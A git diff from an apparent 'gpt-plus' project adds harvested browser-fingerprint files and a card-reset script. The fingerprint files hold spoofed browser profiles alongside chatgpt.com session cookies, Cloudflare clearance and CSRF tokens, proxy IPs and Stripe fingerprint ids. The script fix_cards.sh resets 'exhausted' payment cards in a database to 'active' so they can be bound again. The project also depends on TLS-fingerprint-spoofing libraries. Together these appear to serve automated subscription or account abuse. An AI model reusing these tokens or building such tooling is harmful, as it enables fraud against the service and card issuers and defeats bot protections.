"1920w_1080h_30d_1r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36", + "cpu_cores": 6, + "memory_gb": 8, + "plugins": "Chrome PDF Plugin, Chrome PDF Viewer", + "webgl_vendor": "Google Inc. (AMD)", + "webgl_renderer": "ANGLE (AMD, Radeon RX 580 Series (0x000067DF) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111011111100", + "canvas_hash": "2c99b0ad287289e884a33a6d84b3076a", + "oai_did": "84bb00fb-3a50-45d1-9859-4bbdb7834abb", + "cf_clearance": "W6XcuhucLjWd2iBOcPHof9YKWofXmM9wk4XXOXJC8iA-1773440445-1.2.1.1-PZ_jSC.dAepPH84aDrIRnp4gqrqzDE7_qg93eda4qJKmeeVTYi147b2CEkwFAcO0KDpToJT4w1VXMdHtBUg9qOYZL4eqiI28B58esEbmYwor3dMw83so4JAS0LTS4JbeT.gRnuwHx.bJ43aCSDudyu3OhI8evanswIB9cma_6merrvaT20qkkctSrW6iWW5mOJXoLAs.J5ryX28qI3NOYHJL8BVTjtFyt0ZlATs1z_k", + "csrf_token": "a80024bee0239e031c423bf8c08b70d9aa6ac4e2340de008bed053cd2266f6a3%7Cd2c795c3bf89ac6845a84587028c4c3a4b3d0b5352bdfe63ec4802a17e69fbc4", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440445208,\"i_b\":\"HD7Fs5jjtRsxRkMyD53ovgVjsUzIohRIOxq40AYNx8g\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptI2-qcevvNmkIwOBovnJhvaZmYeTo5m_ZUOu7wvoASX2-bsgA84i4228_PVNV9nVu8C05pxf-6-nUvhiVqOt99WOWzcelALlTU2PZEsSyCpO7WDGdgjt9nmPzlSUt0RCqu6lve2m3uaOWnK1T6HquNra3sXd6l1RtDbPztLResJC1WQULX03uvs7DUapao4n4Y2jt63dzDLlYWc1wl6J3Eqo8JQ9XJu7xZbbhvwP9JBHkzk", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "84bb00fb-3a50-45d1-9859-4bbdb7834abb", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWNGL823j2maUj", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "gJWVFgN6Tt5fcbD.leEvYmMfVGGAWtQrsKdK7U5eCI4-1773440446.12447-1.0.1.1-SPOWpWwNOTFU2yQEUr7iB6KcRDSBndI5JtQ4OtqbToSvSTg3zhm2e7F_V3BrMGjoxOD2OySYQZspeb0nQZb5lJ4SR2Pyi.NO0wC1BLJJPbsJKK2TILPjyeUyubv5LDmV", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "WHAT_ARE_YOU_WORKING_ON%20%7C%20ON_YOUR_MIND", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "CbBK30YTXbGOiW8S9rIDbmmQZdiwREovmXCBPAu79Gg-1773440444.5624144-1.0.1.1-7zSJOxmyxnojUBMv.Dl8GtKeE1Hne3SnGybWD8ebxRA", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=5754e339-30e0-465b-85ee-63095ac05e75&rum=0&expire=1773441343673&logs=1&id=b630945e-9b9f-4412-8753-66b64a22d77e&created=1773440443673", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "W6XcuhucLjWd2iBOcPHof9YKWofXmM9wk4XXOXJC8iA-1773440445-1.2.1.1-PZ_jSC.dAepPH84aDrIRnp4gqrqzDE7_qg93eda4qJKmeeVTYi147b2CEkwFAcO0KDpToJT4w1VXMdHtBUg9qOYZL4eqiI28B58esEbmYwor3dMw83so4JAS0LTS4JbeT.gRnuwHx.bJ43aCSDudyu3OhI8evanswIB9cma_6merrvaT20qkkctSrW6iWW5mOJXoLAs.J5ryX28qI3NOYHJL8BVTjtFyt0ZlATs1z_k", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "a80024bee0239e031c423bf8c08b70d9aa6ac4e2340de008bed053cd2266f6a3%7Cd2c795c3bf89ac6845a84587028c4c3a4b3d0b5352bdfe63ec4802a17e69fbc4", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "d5bf22a9", + "harvested_at": "2026-03-13T22:20:51.145Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "08cd8339b3b5cae931f5b3cb90be6c91" +} \ No newline at end of file diff --git a/fingerprints/KR_e07978dd_1773440356550_4.json b/fingerprints/KR_e07978dd_1773440356550_4.json new file mode 100644 index 0000000..6a72da9 --- /dev/null +++ b/fingerprints/KR_e07978dd_1773440356550_4.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "ko-KR", + "platform": "Win32", + "screen_size": "1536w_864h_24d_1.25r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", + "cpu_cores": 8, + "memory_gb": 4, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (AMD)", + "webgl_renderer": "ANGLE (AMD, AMD Radeon(TM) Vega 8 Graphics (0x000015D8) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "66fb1ad35130dcf64d8ad079d80c66a3", + "oai_did": "ca05d078-745b-435f-876e-0fbbee1b1e01", + "cf_clearance": "Yl55GtaUEqAG8EeG09BZ0mk24gs43r2F7HcNs0j8CDA-1773440350-1.2.1.1-MQfPtUrz1dGpSJHBSZmwejdLiaIxtxiNXLF6Fyk2bRFlKBdR9Y6LPBN4h5SUvtBWHuEumSzMGzUrvmoJn3mZjZdu45xEWaKgrn07VeN7nQoDjM2ooa3GFc1uqemKnMQ3G.gm5R.5NoxketZo8QT0yageZMFV4oBjqDf0r3bcSQZnJK3KwIa6IoiVvcW_0n2iMfP3Pks3nN3umj3HbhkXsn41rPppO92WBgxmXd_dEVY", + "csrf_token": "ee3287caaf0eb00f565974fe5d35b267aa6791e321622ee63792cffa139a5f56%7C9849e9578bac45f4d5c08ccb29b824f66db970f10d2521131514f9113d626327", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440351590,\"i_b\":\"EV517xntS+vgK31f1TqXW5PdJW3BV+xNhtFURpb6SmM\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptI1fxpZiTH0BXEksSxT2YWxIqg4QOGEgFHs-UqfyRpviJc7S7qrP8JEsDUgz6KAVhm55Bi88EuqUCQUA70PcokuCB3RTGMgXvqctoo5o4J-3GYXDS3VqWIxL43ZbFjJm23AfC5tfiPIraCUKAHXCyYE3QYo9Qr7McKDqLMqLC8vjAEBnvqK5t_XCxJarhhtI4QkdPZjBN2hHYBYMLSyq-_TYYU4T9QhZmlcuKsXsyGqWrwc", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "ca05d078-745b-435f-876e-0fbbee1b1e01", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWNMgXM1gkj7tP", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "GtvDqZRq.6_HrkTZbqSEKAkh_Jt7gM.WxM9oZJuQ4Ho-1773440350.6678274-1.0.1.1-mlak7lwezBP274WS7d51_pu2_fzhO3cnr4oyPZl7NWxKQVkrnATmmwCtHKsRXxM0LFZ8AZcg5Om9vgPrpqgRAtOuK29W0DPv9KnpFtzjLE1fU8QnMkk9fgGTbHxUnGNy", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "Yl55GtaUEqAG8EeG09BZ0mk24gs43r2F7HcNs0j8CDA-1773440350-1.2.1.1-MQfPtUrz1dGpSJHBSZmwejdLiaIxtxiNXLF6Fyk2bRFlKBdR9Y6LPBN4h5SUvtBWHuEumSzMGzUrvmoJn3mZjZdu45xEWaKgrn07VeN7nQoDjM2ooa3GFc1uqemKnMQ3G.gm5R.5NoxketZo8QT0yageZMFV4oBjqDf0r3bcSQZnJK3KwIa6IoiVvcW_0n2iMfP3Pks3nN3umj3HbhkXsn41rPppO92WBgxmXd_dEVY", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=acaa4d4e-26e5-4f3a-a44d-279a353fda4a&rum=0&expire=1773441248905&logs=1&id=20c37739-f1e2-4a3e-ba25-23e2d86c25f5&created=1773440348905", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "t9QtgYX74gBbJR6YyAJ1tgB8fZfycInKzUTILXm2Kkc-1773440348.646985-1.0.1.1-2pwe6A6jxbxtbOlghfctnGBaqgOcoacD1.ojQHF4Ji8", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "WHAT_ARE_YOU_WORKING_ON%20%7C%20READY_WHEN_YOU_ARE", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "ee3287caaf0eb00f565974fe5d35b267aa6791e321622ee63792cffa139a5f56%7C9849e9578bac45f4d5c08ccb29b824f66db970f10d2521131514f9113d626327", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "e07978dd", + "harvested_at": "2026-03-13T22:19:16.549Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "dc069e48f5a7dcd9d9d976bba7dd558a" +} \ No newline at end of file diff --git a/fingerprints/KR_f80063fd_1773499753753_5.json b/fingerprints/KR_f80063fd_1773499753753_5.json new file mode 100644 index 0000000..47ffe10 --- /dev/null +++ b/fingerprints/KR_f80063fd_1773499753753_5.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1536w_864h_24d_1.25r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36", + "cpu_cores": 8, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Intel)", + "webgl_renderer": "ANGLE (Intel, Intel(R) Iris(R) Xe Graphics (0x00009A49) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "9e8dfa3ce2e9541babf1db707c6f37c4", + "oai_did": "1780365a-5c32-4e5f-8262-f80ac9135f14", + "cf_clearance": "NefyPPRrvGf098XLeVnf7JcQ_h.XXYoBueNEuhujE.M-1773499739-1.2.1.1-FhmVgIelG00FY4rrbpUtapWWiZpv080h_Kt7z3pP06.RK.eVhYdBjRi4tKD.OVHTVYbnTJPjhMQO_b5ci1G.Ko3B0YzUJmQm_4crqR3bmeZ6xofhXQuPM6Hoqhb7u9rMiNY9IvdwNS2l8LD7VKSZTtaInFmOBTOdoL6g.oeYP5p4ox8p0bNBurRf1X9_.UuD6spColzCyV7.j8DgbUNBoINOU_KvMS2.aFkW4fFxe4A", + "csrf_token": "0c94dfdf37c872e93fadd17f8623ae1f3b6b44961fabcaa9ab32390a3b68b589%7C6682904a3da487a068b8d92acd242e2afd46922fb52b8281f176313e7ada794d", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773499739865,\"i_b\":\"ioT+dUy4337AkdBgsYLiBnlzNOKzHrQGfP22qXKXUxo\",\"i_e\":{\"enable_itp_optimization\":14}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptXVbIlx4eVFHL1OB8QldLmhFYBp_e51XpKAbYuuWam2uant0BTd1prifF6yqfMQvALTKZTWFVxNXs65Cz-MaHkNlbboy024ZjNF8GndfAvVXqBl8Qyx2TKgWKmW4-edBQUd5tX8ml1XP7lCG5N54ZmGfAv7Kl0eUWCrs2kChcrkg1Xu2yEpX19hvlRMLgs-3miloX_2R7XP-V0oX3Z1tHwpAdmin8WvzSSk8O0c--oArIiSqw", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "1780365a-5c32-4e5f-8262-f80ac9135f14", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2EAQGsYLVsnxb", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "MEEpEuyBBCj20XX5keymJe_dumlKjCVlYbgwLS3QzPA-1773499739.0378447-1.0.1.1-pOFwgAJY.Q6rY9QL6Lmo8HFo1LP_71L3NIxwd0QqVqpHVUSCToYgWNHSDoq6_r4s.bsh3Gl.Mayuta9uC8dG.GfyrCLNT2sD3bn7ktm5vmaNatRGBi.nkMSoKt5mHCz5", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "NefyPPRrvGf098XLeVnf7JcQ_h.XXYoBueNEuhujE.M-1773499739-1.2.1.1-FhmVgIelG00FY4rrbpUtapWWiZpv080h_Kt7z3pP06.RK.eVhYdBjRi4tKD.OVHTVYbnTJPjhMQO_b5ci1G.Ko3B0YzUJmQm_4crqR3bmeZ6xofhXQuPM6Hoqhb7u9rMiNY9IvdwNS2l8LD7VKSZTtaInFmOBTOdoL6g.oeYP5p4ox8p0bNBurRf1X9_.UuD6spColzCyV7.j8DgbUNBoINOU_KvMS2.aFkW4fFxe4A", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=afc316ac-7524-45c4-baeb-f6adca670420&rum=0&expire=1773500638414&logs=1&id=3f4a81a2-e321-4534-813d-2f2589307789&created=1773499738414", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "nG5iZaQiBWX4l4Dg.cPWbj9pfdUz8NVVHe458fY8Spw-1773499737.5428953-1.0.1.1-JomAZCRvpLgmkfBpez6HZrMlWkRxV3fbBm.JrYzF84g", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "SHOULD_WE_BEGIN%20%7C%20WHAT_ARE_YOU_WORKING_ON", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "0c94dfdf37c872e93fadd17f8623ae1f3b6b44961fabcaa9ab32390a3b68b589%7C6682904a3da487a068b8d92acd242e2afd46922fb52b8281f176313e7ada794d", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "f80063fd", + "harvested_at": "2026-03-14T14:49:05.580Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "07f75d181f202e8752399f0ef264170f" +} \ No newline at end of file diff --git a/fingerprints/KR_fe24d3d3_1773440451145_7.json b/fingerprints/KR_fe24d3d3_1773440451145_7.json new file mode 100644 index 0000000..ef3d01d --- /dev/null +++ b/fingerprints/KR_fe24d3d3_1773440451145_7.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "ko", + "platform": "Win32", + "screen_size": "2560w_1440h_24d_1r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", + "cpu_cores": 56, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Google)", + "webgl_renderer": "ANGLE (Google, Vulkan 1.3.0 (SwiftShader Device (Subzero) (0x0000C0DE)), SwiftShader driver)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "5e0dee8c16668ca4c72e52b1a7aa8a9c", + "oai_did": "0af8732f-e876-4bd9-a915-565b4f3634c4", + "cf_clearance": "_aTNLaGDHHJUXZKgkRjnq.L2sBtdB89N_W4ithdse7k-1773440432-1.2.1.1-G83Mg4AeTYOMYDjzp3Na0yqBX_h6wJMVDONiXUOjGpzcW9RIcM1AwcH6pyumrZbeeNLWGKq22bCn9nQ0mJxbBE4.flUifDmqdohOy5TpLmel6H8VTiqUkC6nFwTQhO9iz8VzaYYJbxUUJ.ODfzUU15NUzIVXeYD3D8UvbHT7YURSj_S1o7gywRyLHbGkZagbgHP6D65T7n3226HOayoP9VKhItPcFnzn9jyu5WeNUBY", + "csrf_token": "bd10ea281ce500df2e1aa720cc56e319e609d67e4afe30868714ad173351444f%7C333b438a67a4ecbab68ad69f44427d044c632f74b5565aa8194eefd4ac58445f", + "cookies": [ + { + "name": "oai-sc", + "value": "0gAAAAABptI2xaSeIBlUMWDwQ12jAVVdVnmwQvlTlLtzIhZU6z1SdipUro5SaAvnZB-11YNDzYOSHDhRo1zuKCCItwrU0pplR6BEOofnQ0163v8ZB47IzIEGhdeqUWojNEC9zyqJ_xPtjQr4OfxAVjaykBbbvbrILVOIWilR9GQK5z0g8Tq8XjoCQcW-Mt3WEr5G2PCFX-M-BO4lNm9BWL2Ggo1IGmnK3DaRQXHHiPpJDxKSLgcoBq58", + "domain": ".chatgpt.com" + }, + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440431464,\"i_b\":\"5/8lT+hHUbtdRrs+ywZ93OB5dvBVgSpU8g4bZlLLxp4\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-hm", + "value": "ON_YOUR_MIND%20%7C%20WHAT_ARE_YOU_WORKING_ON", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "vRb6CMyMf9Kc5IdkBXUgp53Ri_.UCKbdDl318_QMCE0-1773440431.9483504-1.0.1.1-Zive7oU36WBxBvMkGC_IFCqhfc0NORHU1IX2CRn5gvs", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=c55922f3-d168-429f-9125-758ef21ab33b&rum=0&expire=1773441330944&logs=1&id=75778d7e-f6e5-4728-8634-876d59f3935a&created=1773440430944", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "0af8732f-e876-4bd9-a915-565b4f3634c4", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWNEA1GsEPMg11", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "re6i6DTu1PjyP8WJg.uS_C_gSqZouX2yuugSda4.v2U-1773440432.4444795-1.0.1.1-HfhG90rTJiPKvcXhS7LwzPBK_REQqXfruc64HeSCzoe0cAEiiH0zYhB7t3dC60_9Ui6StBBWhUBu_Os3If1XESTzUWoK2E4D9mGzwiJN3A3PtOKmTPtrSvJf6cLxfT1e", + "domain": ".chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "_aTNLaGDHHJUXZKgkRjnq.L2sBtdB89N_W4ithdse7k-1773440432-1.2.1.1-G83Mg4AeTYOMYDjzp3Na0yqBX_h6wJMVDONiXUOjGpzcW9RIcM1AwcH6pyumrZbeeNLWGKq22bCn9nQ0mJxbBE4.flUifDmqdohOy5TpLmel6H8VTiqUkC6nFwTQhO9iz8VzaYYJbxUUJ.ODfzUU15NUzIVXeYD3D8UvbHT7YURSj_S1o7gywRyLHbGkZagbgHP6D65T7n3226HOayoP9VKhItPcFnzn9jyu5WeNUBY", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "bd10ea281ce500df2e1aa720cc56e319e609d67e4afe30868714ad173351444f%7C333b438a67a4ecbab68ad69f44427d044c632f74b5565aa8194eefd4ac58445f", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "fe24d3d3", + "harvested_at": "2026-03-13T22:20:38.448Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "b0add9607cf99bbe34d071b1d2e628d7" +} \ No newline at end of file diff --git a/fix_cards.sh b/fix_cards.sh new file mode 100644 index 0000000..59f17c3 --- /dev/null +++ b/fix_cards.sh @@ -0,0 +1,7 @@ +#!/bin/bash +rm -f /root/gpt-home/card_cache.json +sqlite3 /root/gpt-home/gptplus.db "UPDATE cards SET status='active', bind_count=0 WHERE status='exhausted';" +echo "=== Cards ===" +sqlite3 /root/gpt-home/gptplus.db "SELECT id, status, bind_count, max_binds FROM cards;" +echo "=== Card Codes ===" +sqlite3 /root/gpt-home/gptplus.db "SELECT id, substr(code,1,8)||'...' as code, status FROM card_codes;" diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..19b9c0b --- /dev/null +++ b/go.mod @@ -0,0 +1,66 @@ +module gpt-plus + +go 1.25.0 + +require ( + github.com/bogdanfinn/fhttp v0.6.8 + github.com/bogdanfinn/tls-client v1.14.0 + github.com/google/uuid v1.6.0 + golang.org/x/net v0.51.0 + gopkg.in/yaml.v3 v3.0.1 +) + +require ( + github.com/andybalholm/brotli v1.2.0 // indirect + github.com/bdandy/go-errors v1.2.2 // indirect + github.com/bdandy/go-socks4 v1.2.3 // indirect + github.com/bogdanfinn/quic-go-utls v1.0.9-utls // indirect + github.com/bogdanfinn/utls v1.7.7-barnius // indirect + github.com/bogdanfinn/websocket v1.5.5-barnius // indirect + github.com/bytedance/gopkg v0.1.3 // indirect + github.com/bytedance/sonic v1.15.0 // indirect + github.com/bytedance/sonic/loader v0.5.0 // indirect + github.com/cloudwego/base64x v0.1.6 // indirect + github.com/dustin/go-humanize v1.0.1 // indirect + github.com/gabriel-vasile/mimetype v1.4.12 // indirect + github.com/gin-contrib/sse v1.1.0 // indirect + github.com/gin-gonic/gin v1.12.0 // indirect + github.com/glebarez/go-sqlite v1.21.2 // indirect + github.com/glebarez/sqlite v1.11.0 // indirect + github.com/go-playground/locales v0.14.1 // indirect + github.com/go-playground/universal-translator v0.18.1 // indirect + github.com/go-playground/validator/v10 v10.30.1 // indirect + github.com/goccy/go-json v0.10.5 // indirect + github.com/goccy/go-yaml v1.19.2 // indirect + github.com/golang-jwt/jwt/v5 v5.3.1 // indirect + github.com/jinzhu/inflection v1.0.0 // indirect + github.com/jinzhu/now v1.1.5 // indirect + github.com/joho/godotenv v1.5.1 // indirect + github.com/json-iterator/go v1.1.12 // indirect + github.com/klauspost/compress v1.18.2 // indirect + github.com/klauspost/cpuid/v2 v2.3.0 // indirect + github.com/leodido/go-urn v1.4.0 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/mattn/go-sqlite3 v1.14.22 // indirect + github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect + github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/pelletier/go-toml/v2 v2.2.4 // indirect + github.com/quic-go/qpack v0.6.0 // indirect + github.com/quic-go/quic-go v0.59.0 // indirect + github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect + github.com/tam7t/hpkp v0.0.0-20160821193359-2b70b4024ed5 // indirect + github.com/twitchyliquid64/golang-asm v0.15.1 // indirect + github.com/ugorji/go/codec v1.3.1 // indirect + go.mongodb.org/mongo-driver/v2 v2.5.0 // indirect + golang.org/x/arch v0.22.0 // indirect + golang.org/x/crypto v0.49.0 // indirect + golang.org/x/sys v0.42.0 // indirect + golang.org/x/text v0.35.0 // indirect + google.golang.org/protobuf v1.36.10 // indirect + gorm.io/driver/sqlite v1.6.0 // indirect + gorm.io/gorm v1.31.1 // indirect + modernc.org/libc v1.22.5 // indirect + modernc.org/mathutil v1.5.0 // indirect + modernc.org/memory v1.5.0 // indirect + modernc.org/sqlite v1.23.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..1e76a7f --- /dev/null +++ b/go.sum @@ -0,0 +1,162 @@ +github.com/andybalholm/brotli v1.2.0 h1:ukwgCxwYrmACq68yiUqwIWnGY0cTPox/M94sVwToPjQ= +github.com/andybalholm/brotli v1.2.0/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY= +github.com/bdandy/go-errors v1.2.2 h1:WdFv/oukjTJCLa79UfkGmwX7ZxONAihKu4V0mLIs11Q= +github.com/bdandy/go-errors v1.2.2/go.mod h1:NkYHl4Fey9oRRdbB1CoC6e84tuqQHiqrOcZpqFEkBxM= +github.com/bdandy/go-socks4 v1.2.3 h1:Q6Y2heY1GRjCtHbmlKfnwrKVU/k81LS8mRGLRlmDlic= +github.com/bdandy/go-socks4 v1.2.3/go.mod h1:98kiVFgpdogR8aIGLWLvjDVZ8XcKPsSI/ypGrO+bqHI= +github.com/bogdanfinn/fhttp v0.6.8 h1:LiQyHOY3i0QoxxNB7nq27/nGNNbtPj0fuBPozhR7Ws4= +github.com/bogdanfinn/fhttp v0.6.8/go.mod h1:A+EKDzMx2hb4IUbMx4TlkoHnaJEiLl8r/1Ss1Y+5e5M= +github.com/bogdanfinn/quic-go-utls v1.0.9-utls h1:tV6eDEiRbRCcepALSzxR94JUVD3N3ACIiRLgyc2Ep8s= +github.com/bogdanfinn/quic-go-utls v1.0.9-utls/go.mod h1:aHph9B9H9yPOt5xnhWKSOum27DJAqpiHzwX+gjvaXcg= +github.com/bogdanfinn/tls-client v1.14.0 h1:vyk7Cn4BIvLAGVuMfb0tP22OqogfO1lYamquQNEZU1A= +github.com/bogdanfinn/tls-client v1.14.0/go.mod h1:LsU6mXVn8MOFDwTkyRfI7V1BZM1p0wf2ZfZsICW/1fM= +github.com/bogdanfinn/utls v1.7.7-barnius h1:OuJ497cc7F3yKNVHRsYPQdGggmk5x6+V5ZlrCR7fOLU= +github.com/bogdanfinn/utls v1.7.7-barnius/go.mod h1:aAK1VZQlpKZClF1WEQeq6kyclbkPq4hz6xTbB5xSlmg= +github.com/bogdanfinn/websocket v1.5.5-barnius h1:bY+qnxpai1qe7Jmjx+Sds/cmOSpuuLoR8x61rWltjOI= +github.com/bogdanfinn/websocket v1.5.5-barnius/go.mod h1:gvvEw6pTKHb7yOiFvIfAFTStQWyrm25BMVCTj5wRSsI= +github.com/bytedance/gopkg v0.1.3 h1:TPBSwH8RsouGCBcMBktLt1AymVo2TVsBVCY4b6TnZ/M= +github.com/bytedance/gopkg v0.1.3/go.mod h1:576VvJ+eJgyCzdjS+c4+77QF3p7ubbtiKARP3TxducM= +github.com/bytedance/sonic v1.15.0 h1:/PXeWFaR5ElNcVE84U0dOHjiMHQOwNIx3K4ymzh/uSE= +github.com/bytedance/sonic v1.15.0/go.mod h1:tFkWrPz0/CUCLEF4ri4UkHekCIcdnkqXw9VduqpJh0k= +github.com/bytedance/sonic/loader v0.5.0 h1:gXH3KVnatgY7loH5/TkeVyXPfESoqSBSBEiDd5VjlgE= +github.com/bytedance/sonic/loader v0.5.0/go.mod h1:AR4NYCk5DdzZizZ5djGqQ92eEhCCcdf5x77udYiSJRo= +github.com/cloudwego/base64x v0.1.6 h1:t11wG9AECkCDk5fMSoxmufanudBtJ+/HemLstXDLI2M= +github.com/cloudwego/base64x v0.1.6/go.mod h1:OFcloc187FXDaYHvrNIjxSe8ncn0OOM8gEHfghB2IPU= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/gabriel-vasile/mimetype v1.4.12 h1:e9hWvmLYvtp846tLHam2o++qitpguFiYCKbn0w9jyqw= +github.com/gabriel-vasile/mimetype v1.4.12/go.mod h1:d+9Oxyo1wTzWdyVUPMmXFvp4F9tea18J8ufA774AB3s= +github.com/gin-contrib/sse v1.1.0 h1:n0w2GMuUpWDVp7qSpvze6fAu9iRxJY4Hmj6AmBOU05w= 